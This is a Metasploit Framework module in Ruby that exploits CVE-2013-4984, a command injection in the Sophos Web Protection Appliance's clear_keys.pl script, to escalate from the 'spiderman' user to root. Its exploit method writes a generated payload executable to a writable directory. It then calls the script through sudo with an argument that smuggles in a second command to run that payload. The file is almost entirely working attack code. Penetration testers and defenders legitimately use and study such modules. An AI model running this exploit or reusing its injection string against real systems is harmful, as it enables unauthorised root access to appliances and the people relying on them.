metasploit-framework/modules/exploits/linux/local/sophos_wpa_clear_keys.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
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##
require 'msf/core'
require 'rex'
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
def initialize(info={})
super( update_info( info, {
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'Name' => 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation',
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'Description' => %q{
This module abuses a command injection on the clear_keys.pl perl script, installed with the
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Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root".
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This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection
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Appliance web ui, executed by the "spiderman" user. This module has been tested successfully
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on Sophos Virtual Web Appliance 3.7.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Francisco Falcon', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]],
'References' =>
[
[ 'CVE', '2013-4984' ],
[ 'OSVDB', '97028' ],
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[ 'BID', '62265' ],
[ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']
],
'DefaultOptions' =>
{
"PrependFork" => true,
"PrependSetresuid" => true,
"PrependSetresgid" => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 06 2013'
}
))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]),
], self.class)
end
def check
if file?(datastore["clear_keys"])
return CheckCode::Detected
end
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return CheckCode::Safe
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end
def exploit
print_status("Checking actual user...")
id = cmd_exec("id -un")
if id != "spiderman"
fail_with(Failure::NoAccess, "The actual user is \"#{id}\", you must be \"spiderman\" to exploit this")
end
print_status("Checking for the vulnerable component...")
if check != CheckCode::Detected
fail_with(Failure::NoTarget, "The vulnerable component has not been found")
end
print_status("Dropping the payload to #{datastore["WritableDir"]}")
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
write_file(exe_file, generate_payload_exe)
cmd_exec "chmod +x #{exe_file}"
print_status("Running...")
begin
# rm the file after executing it to avoid getting multiple sessions
cmd_exec "sudo #{datastore["clear_keys"]} #{rand_text_alpha(4 + rand(4))} \";#{exe_file}; rm -f #{exe_file};\" /#{rand_text_alpha(4 + rand(4))}"
ensure
cmd_exec "rm -f #{exe_file}"
end
end
end